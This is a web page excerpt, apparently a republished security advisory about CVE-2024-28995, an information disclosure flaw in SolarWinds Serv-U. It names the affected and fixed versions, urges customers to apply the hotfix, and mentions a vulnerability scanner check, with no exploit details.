High-severity information disclosure issues like CVE-2024-28995 can be used in smash-and-grab attacks where adversaries gain access to and attempt to quickly exfiltrate data from file transfer solutions with the goal of extorting victims. File transfer products have been targeted by a wide range of adversaries the past several years, including ransomware groups.
Internet exposure estimates for SolarWinds Serv-U vary substantially based on the query used. For example (note that exposed does not automatically mean vulnerable):
SolarWinds Serv-U 15.4.2 HF 1 and previous versions are vulnerable to CVE-2024-28995, per the vendor advisory. The vulnerability is fixed in SolarWinds Serv-U 15.4.2 HF 2. SolarWinds Serv-U customers should apply the vendor-provided hotfix immediately.
Rapid7 customers
InsightVM and Nexpose customers can assess their exposure to CVE-2024-28995 with an unauthenticated vulnerability check available as of the Monday, June 10 content release.
The collective thoughts of the interwebz
Manage Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional
Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes.The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
